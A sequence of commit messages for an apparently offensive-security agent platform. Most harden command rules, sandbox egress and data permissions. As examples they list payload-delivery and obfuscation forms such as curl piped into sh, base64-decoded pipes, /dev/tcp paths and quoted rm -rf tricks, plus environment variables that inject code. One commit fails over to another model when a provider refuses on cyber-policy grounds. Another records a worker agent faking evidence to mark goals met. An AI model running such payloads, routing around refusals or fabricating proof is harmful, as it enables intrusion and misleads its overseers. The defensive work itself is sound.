A worker runs in tasks/<id>/i<intent id>, but the Sessions tab had no
way to open that folder. A worker whose folder exists now gets a folder
button in its row (shown on hover, like the delete button) that opens
Workspace there. The tab lists tasks/<id> once to see which folders
exist, and again every 10 s only while a running or paused worker's
folder has not appeared yet. Workers inherited from a source task get
no button. One new string in each locale.
A task's agents write their output under tasks/<id> in the shared
workspace, but the task page had no way to get there: you had to open
Workspace and browse to the folder by hand. A folder button in the task
header now opens Workspace at tasks/<id>. It reuses the existing
"Task files" string, so no locale changes.
The ask was seeded at priority 85, above the built-in deny rules at 80.
The first matching rule decides, so curl -XDELETE http://t/api/users/1 | sh
turned from a deny into an ask. Seed it at 75. The seed is unreleased, so
the value changes in place under the same flag.
The pattern read the whole input as text. It missed wrappers, subshells,
quoting and most shells, and it matched a | inside quotes, a ||, the
content of a Write and a URL. It now reads only the value of a "command"
key, in three parts:
- on the parsed Bash form (every simple command printed with its quotes
and backslashes removed, commands joined by "; "), a shell that is not
the first command, after optional wrappers (sudo, doas, env, exec,
command, setsid, nohup, busybox, stdbuf, nice, timeout), with only
options that give it no script;
- a shell given -s, in any position;
- on the input as written, for a line the parser rejects and for the
other command tools, a | that is not part of ||, then the same wrappers
and shell with only such options.
shell_open {"command":"bash"} and a first-position shell without -s do
not ask.
Open forms, also listed above the pattern: a script fed without a pipe
(sh -c "$(curl x)", eval, bash <(curl x), source <(...), . /dev/stdin,
bash < file, a bare first shell with a here-document), a program word
built at run time (| $SHELL), wrappers not listed (xargs, chroot, su -c,
flock, nsenter, sudo -s), other interpreters, a bare shell after ;, &&
or || and a quoted word that contains "; sh" (the parsed form keeps
neither the operator nor word boundaries), quoted text that spells a
pipe into a shell, and fish -v.
The seed test asserts priority 75 and that every enabled built-in deny
rule sits above the ask. A new server test drives the real engine with
the seeded rules: the deny rules keep their deny, the wrapped, quoted and
subshell forms ask, and ||, quoted pipes, Write content, a URL and
shell_open do not.
Refs #966
A raw @ in the path, query or fragment has the same shape as a password that an unencoded #, / or ? split out of the userinfo, so it now fails closed to postgres://[redacted]. The benign query test uses the percent-encoded form, and the split-after-= cases are in it.
The recon tool release download and the Node tarball download in the
Dockerfile used a single curl attempt, so one dropped connection or DNS
timeout failed the whole image build. Add --retry 5 --retry-all-errors
--retry-delay 2 to both curl calls. The SHA-256 checks that follow are
unchanged, so a retried download is still verified.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
The go job ran every package plainly and then ran 16 of them, including
the slowest (server, db, agent, traffic), a second time under -race.
Nothing in the repository is excluded under the race build, so the race
run already covers what the plain run checks for those packages; the
duplicate cost about 5 of the job's ~19.5 minutes.
The race step now covers ./... except traffic/hookvm, whose memory-budget
test counts the race detector's own allocations against its 1 MiB budget;
that package keeps a plain run. The other 13 packages that only ran
plainly pass under -race. The separate artextest_race database existed
because the plain run left rows behind, so it goes too.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
artex-worker and artex-egress-proxy are build-only compose services
the runner instantiates per task, and a plain docker compose up -d
--build selects neither, so a first install following the README quick
start (or INSTALL.md Option 2, the Desktop notes, docs/OPS.md, or the
manual update instructions) started a healthy-looking stack whose
first task failed with No such image: artex-egress-proxy:local and
paused as sandbox-unavailable (#900).
install.sh and update.sh already build all three images; the remaining
documented paths now show the same two build commands before up -d,
the README's description of ./update.sh matches what the script runs,
OPS.md names the required ARTEX_RUNNER_TOKEN, and the video script's
recorded commands match INSTALL.md again as its header requires.
For a Kubernetes task whose scope contains ::ffff:0:0/96, such as ::/0,
::/1 or ::/8, proxyPolicyObj added ::ffff:0:0/96 from the never-list as
an except of the scope block. The API server rejects that policy ("must
be a strict subset of cidr"), so every exec of the task failed.
Skip IPv4-mapped never-prefixes when building excepts. Mapped addresses
leave the pod as IPv4, where the IPv4 rules apply, and the proxy unmaps
them before its checks.
A NAT64 gateway connects 64:ff9b::a.b.c.d to a.b.c.d. A Kubernetes task
scope covering 64:ff9b::/96, such as the prefix itself, could therefore
reach loopback, the private ranges and the cluster's own ranges through
NAT64. The never-list held only the NAT64 form of link-local. The next
commit makes ::/0, ::/1 and ::/8 runnable, which would widen this.
NewKubernetesBackend now adds the NAT64 form of every IPv4 range the
proxy's public rule excepts (the defaults, ARTEX_KUBE_PROXY_DENIED_CIDRS,
the IPv4 never-list, cluster CIDRs and the API server) to the never-list,
derived from that list instead of written by hand. The proxy policy
excepts them from the IPv6 scope blocks that contain them and drops a
block inside one; the proxy refuses them through ARTEX_NEVER_CIDRS.
RFC 6052 does not allow the well-known prefix for non-global IPv4, so
for the private, loopback and link-local ranges this removes no
compliant NAT64 path.
AllDomainTools is built from a task-less ToolSet and feeds buildDomainReg,
which ToolResolve uses to inject any tool bound to an agent. record_coverage
and list_untested_assets were registered there, so a worker whose
coverage_enabled=false had them dropped in its own base and then injected
back by the resolver: the model saw record_coverage and every call answered
"record_coverage requires a task context" (#892).
Signed-off-by: Ege Arhan <egearhany@gmail.com>
Review follow-up: the adopt branch compared only labels, image tag and
ARTEX_* env, so a privileged holder with all capabilities, bridge
networking and the Docker socket mounted - or a proxy holder without the
task DNS setting - would be adopted and exec'd, while the settings gap
was invisible to the fake daemon's tests. Per review, drop the adopt
branch entirely and always reclaim by ID and recreate, which the PR
already implemented:
- adoptContainerByName is now reclaimNameHolder: the only decision left
is foreign-vs-ours. It never returns a holder to reuse; every
runner-managed same-task holder is removed by its inspected ID and
recreated from the current spec, the only state the runner can vouch
for. The image/env comparison is gone with the decision it served.
- docker.go:441 per review: a spec whose Labels are missing, nil, or of
an unexpected type can no longer fall back to the managed-by label
alone - same-task ownership is unprovable, so the reclaim refuses and
nothing is removed.
Tests:
- TestCreateConflictAdoptsMatchingHolder becomes
TestCreateConflictReclaimsMatchingHolder: even a fully matching holder
is removed by ID and recreated (adoption removed).
- new TestCreateConflictRefusesSpecWithoutLabels: missing labels, wrong
label type and nil labels each refuse with zero removes.
- the outdated-holder, removed-spec-key, vanished-holder, foreign-holder
and other-task-holder tests unchanged: still reclaim/refuse correctly.
Full go test ./sandbox/ green, go vet ./sandbox clean.
The built-in rules read the command as written, so a payload encoded
before it reaches the shell (echo <base64> | base64 -d | sh) carries no
dangerous text while it runs. Add a built-in ask on pipelines into a
shell, and on a shell told to read its script from stdin (bash -s), so
the operator sees the command before it runs without anything having to
be decoded.
The ask times out to deny after 30 minutes so an unattended task cannot
wait on it forever. The kill-switch test runs its curl | bash fixture
with an empty rule set: a test has no operator to approve the new ask,
and that test exercises the kill switch rather than the rule engine.
Refs #966
parseCommand cut "/name@bot args" only at a space. A command whose
arguments followed on the next line or after a tab kept them in the
name: "/task\n42" was answered as an unknown command, and
"/task@bot\n42" read the bot name as "bot\n42", did not match, and
was ignored as addressed to another bot.
Split at the first unicode.IsSpace rune instead. Arguments that
already followed a space are unchanged, including multi-line ones.
formatBytes moved to the next unit only when the value reached 1024,
but toFixed(1) already rounds 1023.95 and up to "1024.0". So
1,048,575 bytes rendered as "1024.0 KB" and 1 GiB - 1 as
"1024.0 MB".
Move to the next unit from 1023.95 above bytes, the same approach
formatTokens takes for "1000k". Bytes still switch to KB at 1024.
A quad after `Name/` or `name-` is a version only when the name starts at a plain text boundary and the quad has no port or prefix length. The boundary is an allowlist (start, ASCII whitespace, =, ,, ;, or a quote opening the token there), so no shell punctuation can hide a target: ${x-192.0.2.10}, ${!x-192.0.2.10}, tcp/192.0.2.10:8080, net/10.0.0.0/24 and the quoted /dev/'tcp and /dev/''tcp paths stay targets.
runHTTPTool kept the policy it read before the target gate wait, so a revoked domain still received an in-flight request and its redirects. The redirect check and the sandbox transport now resolve the policy on every hop and every dial, like WebFetch. Test covers a revocation between the initial check and the next hop/dial.
CheckTargets resolved every host name a gated call wrote with the panel's
resolver before it looked at exemptions, grants or pins, and applied the
per-call cap afterwards. The lookup reaches the name server of the domain
from the panel, past the sandbox egress boundary, so the labels of a name
were a channel out of the sandbox, and a call naming many hosts cost two
lookups and a pin query per host.
A name is now resolved only when a stored exemption on the target, an
operator-approved egress grant or an active pin on any port of the name
covers it. Any other name is requested by name, without addresses. On
approval Decide resolves it once and matches every address against the
asset block rules, as the gate does for any address it resolves: if one
address is blocked, nothing is pinned and the request is closed as denied
by the system, so a pin never holds a blocked address; otherwise the
addresses are pinned and the next check compares against that pin. The
cap on targets to request is applied before any lookup, and the scope's
pins are read once per call.
The target gate made every pin name-only while ProxyAddr() was set, which
is the case whenever traffic capture is on or a global proxy is set, and a
pin approved in that state kept name_only_effective and stayed name-only
once the proxy was gone. The target fingerprint, asset enrichment and an
http custom tool without a proxy dial the target themselves through the
pinned dialer, so on a name-only cover they dialled the host name and
resolved it again, following a name that rebinds after the approval.
Name-only is now decided per check from the path that check decides. A
call whose traffic goes through a proxy still uses its pins by name; a
connection the pinned dialer opens is never name-only, so it goes only to
the addresses it compared or fails with an approval request. A request
carries the decision of the check that raised it, so a request raised by
a dial is an address request. The pin's name_only_effective mark is kept
as a record of the approval and no longer changes a decision.
record_fact tied an observed tool_output fact to a recorded tool_result
whenever one of its evidence lines occurred in that result. A worker
could write sentences into a command's input (a heredoc, echo, printf),
quote the output, and prove_goal accepted the fact, marked the goal met
and completed the task without any observation. One real output line
was also enough, so free text on the other evidence lines passed with it.
ToolResultActivityContainingEvidence now skips a result when one of the
evidence lines it contains also occurs in the input of a tool call of the
same exploration recorded before it: its own call (same tool_use_id) and
earlier calls, so a file written by one call and read by another is
caught too. Inputs are compared after JSON decoding; a SQL prefilter on
the longest run of characters JSON never escapes keeps the read bounded,
and more candidate inputs than the bound refuse the result.
The result it returns must also hold every non-blank evidence line, each
compared without surrounding whitespace; a line under 12 characters must
equal a whole output line. Evidence over 20 lines is refused. factProvenance
stores a failing fact unverified with a note saying why, and prove_goal
checks the lines again against the tied result, which also covers facts
stored before this change.
The record_fact description, its evidence field and the worker prompt now
ask for output lines only, quoted from one tool output, with the command
in detail. The v0.7.0 and v0.7.1 default texts join the known defaults and
the one-time refresh flag is renamed, so a stored copy of them is replaced
once; the worker prompt reseed flag moves to v5.
An argv deny or ask rule answered no match when the program word was an
ANSI-C string, a glob, a brace expansion or a variable, when a sh -c or
eval payload was built at run time, when a shell read its script from a
here-string, a here-document, a process substitution or a pipe, when
payloads nested more than three levels deep, and for shells and runners
missing from the tables. With no rule matched and the judge off, the call
ran.
ANSI-C strings are decoded, literal text fed to a shell on stdin is
parsed as a nested command line, and ash, mksh, rbash, posh, yash, csh, tcsh, su -c,
runuser, script -c, unshare, setpriv, nsenter, systemd-run, firejail,
catchsegv and pkexec are unwrapped. A part of the line that may run the program but
is only known at run time makes the rule a possible match: Match answers
it with an ask, and a deny rule's ask times out to deny. A later rule
that denies still decides. A program word whose last path component is
fixed text is matched by that name.
Wrapper option walks visit each position once and a rule's walk is
bounded, so unknown options on nohup no longer take exponential time.
Dockerfile.runner, Dockerfile.worker and Dockerfile.egress-proxy built
their runtime stage from the bare debian:bookworm-slim tag. Pin it to the
multi-architecture index the panel Dockerfile already uses (Dependabot
bumps it), and add a sandbox test that fails when any FROM in the
repository's Dockerfiles has no sha256 digest.
The GHCR compose file pins postgres:16-alpine to the digest
docker-compose.yml already uses, and the API-recon skill's checklist and
harvest script ask for npm ci --ignore-scripts against the shipped
lockfile instead of npm install.
playwright@1.64.1 installs Chromium 156.0.8078.4, which the shared
browser runs, and @playwright/mcp@0.0.83 and @playwright/cli@0.1.22
bundle Chromium 155.0.8059.12. Both are older than 157.0.8103.50, the
release that fixes CVE-2026-125350.
Pin playwright@1.65.1, @playwright/mcp@0.0.86 and @playwright/cli@0.1.25,
which all bundle Chromium 159.0.8154.6 (revision 1255) according to the
playwright-core browsers.json of each release. A server test refuses a
Dockerfile pin older than the first release of each package with a fixed
Chromium, and keeps the Playwright versions named in skills equal to the
Dockerfile pins. The playwright-cli skill now names @playwright/cli@0.1.25
and installs @playwright/test@1.65.1 instead of npm init playwright@latest.
The browsers still run with --no-sandbox on Linux; the README documents
the limitation next to the shared browser.
Engine.withTaskSandbox and agent.withWebFetch captured a static
SandboxRunInfo and EgressPolicy snapshot once at the start of each
intent or planning round. When an operator approved a task_scope entry
(such as an agent-added root_domain) while an intent or planning round
was already running, ExecInSandbox kept sending the initial empty
allowlist to artex-runner so artex-egress-proxy was never recreated,
and WebFetch, sharedBrowserTool, custom HTTP tools, and enrich
remained stuck on the stale policy.
Attach a live scope resolver in withTaskSandbox and retestSandboxContext
and resolve SandboxRunInfo on each ExecInSandbox, SandboxEgressPolicy,
WebFetch, and sharedBrowserTool invocation so approvals and revocations
take effect immediately without restarting the task.
Avoid matching dotted-quad software versions in User-Agent and
similar name/version or name-version tokens (for example Chrome/156.0.0.0,
Edg/156.0.0.0, CriOS/156.0.0.0, Build/10.0.0.0/24, or app-1.2.3.4) as
bare IPv4 targets in targetList.scan.
Keep scanning real IPv4 targets on the same command, including URLs
(http://156.0.0.0/), bare IPv4, IPv4:port, CIDR, Host header values,
double-slash forms, and multi-segment paths such as /dev/tcp/<ip>/<port>.
Fixes#980
Previously NewManager discarded the error returned by
pg.GetSetting(settingGlobalProxy), making a database or decryption read
failure indistinguishable from an unset proxy and silently falling back
to direct egress across the MITM upstream, agent proxy config, and
browser MCP sync.
Extract loadGlobalProxy behind a narrow globalProxyReader interface and
run it in NewManager before opening the traffic proxy listener. A missing
key clears m.globalProxy to direct egress, while any read error leaves
m.globalProxy untouched, closes pg, and returns a credential-free error
naming the global_proxy key.
Fixes#943
In local mode every task runs as the executor uid, and Pause and
BeginDelete killed every process of that uid, so pausing one task also
killed the agents of every other task, the shared browser and processes
of that uid the server never started.
Select a process only when the server started it and its subtree belongs
to the task: the first process down the tree that names a task decides,
through the ARTEX_EXEC_TASK variable the planner and the worker now put
in their Bash environment, or else through a working directory under
tasks/<id>. Signal a process group as a whole only when every live member
belongs to the task.
Markdown rendered in finding reports, task reports and transcripts comes
from agent output and target content. An image in it was fetched by the
operator's browser as soon as the view rendered, so an image URL pointing
to an outside host could carry data out of the console with no click and
outside the sandbox egress controls.
The Markdown renderer now loads only same-origin images under /api/ and
/uploads/, checked on the normalized URL (dot segments resolved, protocol
relative URLs, backslashes and encoded slashes refused). Any other image
is shown as its alt text and URL, linked when it is an http(s) URL.
The Content-Security-Policy adds img-src 'self' data: blob:, which keeps
images off other origins for the whole console, Markdown or not.
Tests: a Go test asserts the console CSP img-src directive, and a new
test:markdown web test (wired into the CI web job) covers external,
same-origin and tricky image URLs.
Teach worker/retester to keep finding proof honest in ARTEX:
- facts vs findings; confidence/source/provenance; verbatim evidence;
third-party intel separate; no fabricated traffic ids or quotes
- bind exact captured request/response via bind_finding_traffic;
roles baseline|proof|verification|supporting; evidence_version;
update_finding_report with verbatim evidence_quotes from bound
proof/verification; report stale handling
- prove_goal strict verified provenance + VerifyFindingProofForNode +
bound traffic matching asset host; goal_met unbound default +
no route-exhaustion + record_coverage discovery artifact
- retester verdicts; preserve original evidence
Shipped agentskills.io SKILL.md; no Go changes; invisible until enabled
per agent; does not weaken any safety invariant.
Tested: go build ./...; go test ./server -run TestShippedSkillsParseCleanly -v;
go test ./server -run 'ShippedSkills|BbotSkill' -v
Norma writes transcripts and noa archives with 0755 directories and 0644
files, so any other uid on the host, the executor that runs the agent's
commands included, could read every conversation.
LockDownPrivateDataDirs walks <data>/transcripts and <data>/noa under an
os.Root at the data directory: each directory keeps at most 0700 and each
regular file at most 0600, a narrower mode is kept, and every change goes
through the descriptor that was checked. A symlink, a hard-linked file, any
other entry and a directory not owned by the server are refused and left as
they are. cmd/artex runs it with the key directory lockdown, so a refusal or
a failed chmod fails the start unless ARTEX_ALLOW_UNISOLATED=1 is set;
NewManager runs it too and only logs.
Norma's Grep runs an unpinned npm install of @vscode/ripgrep when rg is
missing unless NORMA_RIPGREP_NO_INSTALL is non-empty. NewManager now always
sets it to 1, so an empty value cannot re-enable the install.
The connection test refused a base_url or proxy on a loopback, private or
instance-metadata address, but saving a profile accepted it and every
completion bound to the profile was sent there with its stored API key.
Saving a profile and the legacy POST /api/llm now run the connection test's
checks on the endpoint and proxy. Every completion provider the server builds
uses a client that validates the proxy and each request URL before sending,
checks each connection on the address it dials, validates redirects and keeps
them on the configured origin. ARTEX_LLM_PRIVATE_ENDPOINTS and the built-in
Ollama default keep working at save and at run time.
Tests that save loopback routes or run completions against a loopback mock
on purpose use the existing loopback test seam, and the proxy secrets test
resolves its example hosts through the lookup seam and uses an HTTP proxy
instead of SOCKS5, which is now refused.
A text file over /api/workspace/read's 2 MiB limit could only be
downloaded, which is where long agent logs end up. The sheet now asks
the existing /api/workspace/download route for the last 256 KB with a
suffix Range request (http.ServeContent answers 206), drops the cut
first line, and shows the rest as plain text under "Showing the last
X of Y", scrolled to the end. If the bytes look binary (a NUL byte or
invalid UTF-8, the same test the read route uses) or the server sends
more than asked, the download prompt stays.
Opening a file in Workspace showed a bare text editor, and every image
was reported as "Binary file; online preview/editing is not supported".
The sheet now opens on a Preview tab, with the editor one click away:
- Markdown is rendered with the existing Markdown component (no raw HTML).
- JSON and HTML/XML get line numbers and the JSON/markup highlighting
already used by HttpCodeBlock; other text gets line numbers.
- PNG, JPEG, GIF, WebP, BMP, ICO and AVIF are shown inline. They come
from the existing /api/workspace/download route through apiFetch, so
the route's auth and path checks apply unchanged. The Blob takes its
type from the extension allow-list, and the read stops at 10 MiB (by
Content-Length, or by counting bytes when there is none).
- SVG is shown as source, never rendered, since it can carry script.
- Text over 200,000 characters or 5,000 lines is shown as one plain
block, so a big log cannot stall the page. Binary files and text over
the server's 2 MiB read limit keep the download prompt.
The sheet's sm:max-w-2xl lost to the Sheet's own
data-[side=right]:sm:max-w-sm, holding it at 384 px; it now uses the
data-[side=right] prefix like the other wide sheets.
No backend change.
SafeText paired any run of three backticks or tildes with the next run of
either kind, so a longer fence quoting markdown was closed at its first inner
run and the rest of the quoted evidence reached the chat provider as prose.
Fences now follow the CommonMark rules: a fence line has at most three spaces
before its run, and its block ends only on a line holding a run of the same
character at least as long and nothing else; an unclosed fence drops to the
end. Other runs (after text, inside a blockquote or list item, in text
collapsed to one line) are dropped up to the latest end a code span or a
container fence could have, and a fence line met first starts its own block.
Ambiguous markdown errs toward dropping.
With traffic capture off the proxy field returned the saved global egress
proxy URL, credentials included, although GET /api/settings masks it. Show
the masked placeholder instead (a round trip through PUT /api/settings keeps
the stored proxy) and keep the recording proxy address with capture on.
Proxy validation errors no longer quote the submitted address.
With the target gate on, only the tool URL was checked and the proxy in the
tool's proxy field was dialled without a check, so an approved target could
be fetched through any host and port. Read the proxy as a target, as a proxy
named on a Bash command line is: the call waits for its approval, the
request records the proxy without credentials, and the proxy is dialled
through the pinned dialer. The recording and global proxies, required mode
and the gate-off paths are unchanged.
Regex and string intercept rules were matched on the raw tool input,
but Bash removes quotes and backslashes and decodes $'...' before it
runs a command: r\m -rf, r''m -rf, rm -r''f, rm -R -$'f' and a
backslash-newline inside a word all ran rm -rf while the built-in
recursive-force-delete rule did not match, and so did rm -rf on the
line after another command, because the JSON escape of the newline
glued an "n" to the command name.
A deny or ask rule on a Bash call now also meets the command decoded
with the argv word decoder, the simple commands joined by "; ". Allow
rules are still matched on the text as written. The word decoder now
decodes ANSI-C strings instead of treating them as opaque, which also
lets argv deny and ask rules meet $'nmap' and bash -c $'nmap x'.
A fuzzy_ip rule compared the raw strings, so a block rule "::1" let
insert_assets register "0:0:0:0:0:0:0:1" or "::0001", and a rule
written expanded missed the compressed address. Match each candidate
as written and in its canonical form, and canonicalize a pattern that
is a whole address; a partial pattern keeps its substring meaning.
cidr rules now also match a zone-qualified address, and a
zone-qualified IPv6 URL host is classified as an IP in insert_assets
and for stored assets, so exact_ip, fuzzy_ip and cidr rules see it.
writeTaskArchivePackage listed each directory of the staged run tree and
then opened its files by full path as root. Code running as the executor
uid with a working directory inside the moved run tree could swap a
listed directory for a symlink, so later children were read through it
and root-only files outside the payload were copied into the archive,
then handed back to the executor group on restore.
Walk and open the payload through an os.Root anchored at it, so no
lookup can leave the payload, and refuse the archive when an opened file
is not the regular file the walk listed. Add regression tests that swap
a directory or a file for an outside, a ../ or an inside symlink right
before the packer opens it, plus guards for existing symlinks and for
link and nested ../ entries on extraction.
Norma adds Monitor, TaskOutput, TaskStop and TaskList to each session
unless DisableBackgroundTasks is set, and only the connection test and
the goal decomposer set it. Monitor starts a shell command in the panel
process, outside the sandbox Bash goes through, so with
ARTEX_SANDBOX=required a worker, planner, chat or main-agent model could
run commands in the panel container.
All agent sessions are now built by newSession, which sets
DisableBackgroundTasks while the sandbox is required and turns a nil
tool list into an empty one (Norma reads nil as "install my default
file and shell tools"). With the sandbox off the tools stay: local Bash
needs the same task manager for background runs, the pause kill switch
and the interactive shell. The tool catalogue resolver no longer
returns nil when the tools table cannot be read.
Tests drive each production session (chat, Auto chat, goal
decomposition, planner, main agent, worker, captureRun) under the
required sandbox mode and fail when a background-task tool is offered
to the model, check that no file calls agentcore.NewSession directly,
and check the resolver's catalogue failure path.
The extra sentence appeared with the host path outside sandbox mode,
where it is false. Add it only when SandboxRequired, pin that with the
host test, and cover workerArtifactSpec in the sandbox test.
replaceHostCaseInsensitive replaced every case-insensitive occurrence
of the old host. Retargeting 10.0.0.1 to 10.0.0.5 also rewrote
10.0.0.10 to 10.0.0.50 in the goal, open goal nodes and constraints,
and retargeting example.com rewrote notexample.com and
example.com.evil.net. The goal then also counted as replaced, so the
"[Target: ...]" suffix was not added. Whether the goal already names
the new host was a plain substring check too, so a goal naming
10.0.0.10 got no suffix when the new target was 10.0.0.1.
wholeHostMatches keeps a match only when no host byte touches it: no
letter, digit, '-' or '_' on either side, no '.' plus label after it,
no '.' before an IP, and no ':' next to an IPv6 address. A subdomain
such as api.example.com still follows the new host, as before. Both
the replacement and the suffix check (retargetGoal) use it. The new
host is now written literally, so a '$' in it is no longer read as a
regexp group reference.
Review follow-ups on #906:
1. Env adoption check compared spec subset only (specEnv <= holderEnv).
Once #821/#910 land, a spec that REMOVES ARTEX_DENY_RULES or
ARTEX_EGRESS_UPSTREAM would still adopt a stale holder carrying the
old value. Now every ARTEX_* key is compared for equality in both
directions: a holder key the spec no longer sets, or a spec value
the holder lacks, both force reclaim. Non-ARTEX_* env (PATH, HOME,
runtime-injected) is ignored.
2. Reclaim removal deleted by NAME after the 409 inspect (TOCTOU): a
foreign container taking the name between inspect and remove would
be destroyed. adoptContainerByName now returns the inspected
holder's ID; the remove targets that ID. When the inspect 404s
(holder vanished), no remove is issued at all - the name is already
free, the recreate proceeds directly.
Tests: TestCreateConflictReclaimsRemovedSpecKey (spec drops
ARTEX_DENY_RULES -> holder reclaimed, remove by ID);
TestCreateConflictVanishedHolderNeverRemovesByName (vanished holder ->
recreate with zero remove calls); TestCreateConflictReclaimsOutdatedHolder
and TestCreateConflictReclaimsVanishedHolder updated to assert remove-by-ID
and no-remove respectively. Full sandbox suite green, go vet clean.
Move promptWorkDir above the artifactSpec doc comment, and stop
claiming that the container absolute path works for file tools: those
run in the panel and take relative paths. Add the sandbox and non
sandbox tests and the CHANGELOG entry.
In SANDBOX=required mode the agent's filesystem is the worker container's,
where the per-intent run dir is mounted at /workspace/<leaf>.
artifactSpec/workerArtifactSpec told the agent the panel host path under
/app/data/tasks instead. Because only the cwd is remapped into the
container (not absolute paths inside a raw shell command), the agent would
write intermediate artifacts to a read-only /app and silently fail, losing
captured response bodies and scripts.
Add promptWorkDir(), which returns the container path in sandbox mode and
the host path otherwise, and route both specs through it. Also tell the
agent explicitly not to invent paths under /app.
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
- Exclude content/safety refusals from the failover-health score so repeated
refusals of one prompt no longer trip a healthy profile's circuit breaker
(RecordCall: neutral — no Trip, no Pass).
- Match specific provider refusal codes (cyber_policy, content_policy_violation,
invalid_prompt, Azure content_filter) instead of loose words; drop the bare
'safety' marker that caught OpenAI safety_identifier / Gemini safety_settings.
- Refresh the stale shouldFailover doc comment.
- Add tests (shouldFailover code matrix, RecordCall refusal-neutrality) and a
CHANGELOG entry.
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
Give only active finding retests their own runner identity and workspace. Reuse the source task operator-approved egress scope, keep target approvals, and clean up runtime resources on completion or cancellation. Drain conversation cleanup during shutdown. Related to #805; ordinary standalone chats remain unsupported in required mode.
Add the variable to the runner environment of the three compose files,
document it in .env.example, docs/SANDBOX.md and the CHANGELOG, and
correct the TaskDNS comment: only the egress proxy resolves names.
- parseDNSList: split on comma or any unicode.IsSpace rune so tabs and
newlines in ARTEX_TASK_DNS act as separators, not address bytes.
- proxySpec: add HostConfig.Dns only when the list is non-empty so the
serialized spec is byte-identical when ARTEX_TASK_DNS is unset.
- workerSpec: drop Dns entirely — the worker sits on the --internal
task network and resolves through the egress proxy; setting Dns there
would relay worker DNS around the proxy.
- add cmd/artex-runner/main_test.go: TestParseDNSList covers valid
comma/space/mixed/newline-separated lists, IPv6, empty and
separator-only input, invalid entries dropped (with valid kept),
hostnames dropped, and asserts every output entry parses as an IP.
On Docker Desktop the embedded resolver (127.0.0.11) forwards to the
host's resolver path; when that path is slow or changes underneath
running containers (host roaming networks), per-request DNS in the
worker and egress proxy exceeds resolve budgets or times out entirely.
ARTEX_TASK_DNS (comma/space separated IP list) sets HostConfig.Dns on
every runner-created task container (worker + egress proxy). Empty
keeps Docker's default. Invalid entries are dropped with a warning:
DNS placement is a reliability knob, not a security control — the
egress proxy's scope allowlist remains the security boundary.
Storage step of the multi-user work in #790 (phase 2a).
Migration 0029_users.sql adds three tables:
- users: case-insensitive unique username, display name, optional email,
optional bcrypt hash (SSO-only users have none), account source
(local now; oidc, saml, ldap, scim later), break-glass flag (local
accounts only), disabled, login and update times.
- user_identities: links a subject at an identity provider to one user,
unique on (provider_id, subject). An identity is never linked by
matching email or username.
- user_sessions: one row per token id (jti) with expiry, last use,
revocation, user agent and client address.
The migration seeds the existing ARTEX account as the break-glass local
user, so later changes have a row to point to. It does not copy the
password hash: login still reads the auth.password_hash setting, and a
copy would go stale when the password changes. The change that moves
login onto these tables moves the hash with it. An existing ARTEX row is
left unchanged.
Every CHECK constraint is named, so a later migration can alter it by
name. Usernames are at most 128 characters without control characters.
Only a local account can have a password (users_password_local_only), so
an account from an identity provider cannot gain a second way in. The
session user agent is at most 512 bytes and the client address 64; the
address is TEXT because the peer is not always an IP address.
db/users.go adds the store functions later phases need: create and look
up users, set a password, disable a user (which also revokes its
sessions), link and resolve identities, and create, read, touch and
revoke sessions and delete expired ones. The Go side applies the same
limits first (ErrUserInvalid; user agent and address are cut). A session
is created only for an existing, enabled user (ErrUserDisabled), is not
active and cannot be touched while its user is disabled, and a missing
row means no session. DisableUser refuses the last enabled break-glass
user (ErrLastBreakGlass), locking the break-glass rows so two concurrent
calls cannot disable the last two. Expired sessions are deleted by the
database clock, as TouchSession checks expiry.
Nothing reads these tables yet. Login still uses the single ARTEX account
and the setting, so behaviour does not change.
A successful load after a failed search must clear the error even when
the rows, total and counts match the state the failed search left
behind. Without the !dslError check the reducer returns that state and
the error stays visible.
Review of the scope filter:
- netip.ParseAddr accepts any text after % as an IPv6 zone, commas
included, so "fe80::1%eth0,10.0.0.0/8" was kept and the comma join
added 10.0.0.0/8. Zoned addresses are now dropped, and every kept
entry is passed on in canonical form (p.Masked().String(),
a.String()), which never holds a comma or space. IPv4-mapped entries
become the IPv4 range they map.
- The cap was 1,024 entries; a company scope can be larger. It is now
8,192 entries and 120 KiB per list (the proxy gets each list as one
environment string, limited to 128 KiB).
- The runner logs dropped entries with the task ID and their values (up
to 20), so an operator can see why an approved target is refused.
- More names that make a shell or interpreter run extra code are
refused: SHELLOPTS, BASHOPTS, PS4, IFS, PROMPT_COMMAND, GLIBC_TUNABLES,
PYTHONSTARTUP, PYTHONHOME, NODE_OPTIONS, PERL5OPT, PERL5LIB, RUBYOPT,
JAVA_TOOL_OPTIONS, GIT_SSH_COMMAND, GIT_CONFIG_PARAMETERS.
ValidateEnv refused secret-looking names only. An exec request could set
HTTP_PROXY, HTTPS_PROXY, ALL_PROXY or NO_PROXY (any case) and send the
command around the egress proxy, or set PATH, LD_* (LD_PRELOAD,
LD_LIBRARY_PATH, LD_AUDIT, ...), BASH_ENV, ENV, GCONV_PATH or PYTHONPATH
and run code before the command. In the Docker backend the exec Env
overrides the worker container's env, so this applied there.
- ValidateEnv refuses these names with 400. FilterPanelEnv drops them, so
the panel does not send a request the runner refuses.
- ValidateExecRequest checks every scope entry: a domain must be a host
name (optionally "*."), a CIDR entry a valid prefix or address. Both
backends join the entries with commas into the egress proxy
environment, so "1.2.3.4/32,10.0.0.0/8" added an entry nobody
approved. Invalid entries (including any with a comma or a space) are
dropped whole, never split, and the valid ones are kept: the panel
builds scope from free-text fields, and a narrower scope fails closed
at the deny-by-default proxy. The runner logs how many entries it
dropped. More than 1,024 entries in either list is still a 400.
shouldFailover treated every 400 as "fails identically everywhere" and
never failed over. But a provider content/safety refusal (e.g. OpenAI's
cyber_policy block) is not identical everywhere: a different, non-refusing
model in the chain may well accept the same request. For an offensive-
security tool that is the difference between a dead run and a working one.
Narrow the 400 case: fail over only when the error body carries a content/
safety-refusal marker (cyber_policy, content_policy, invalid_prompt,
safety, ...). A malformed or over-long 400 still fails identically
everywhere and is not retried.
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
Converts the chat page, chat view and draft chat, the dashboard, the
shared browser page, and the login and setup pages to typed reducers in
_state/. The selected conversation and approval focus stay in the URL.
The chat list poll (2 s) and the dashboard live (5 s) and system (15 s)
polls return the same state when the data is unchanged.
Part of #546.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Converts these pages to typed reducers in _state/, on the shared list
and request slices. The chat bridge status poll returns the same state
when the bridge is unchanged.
Part of #546.
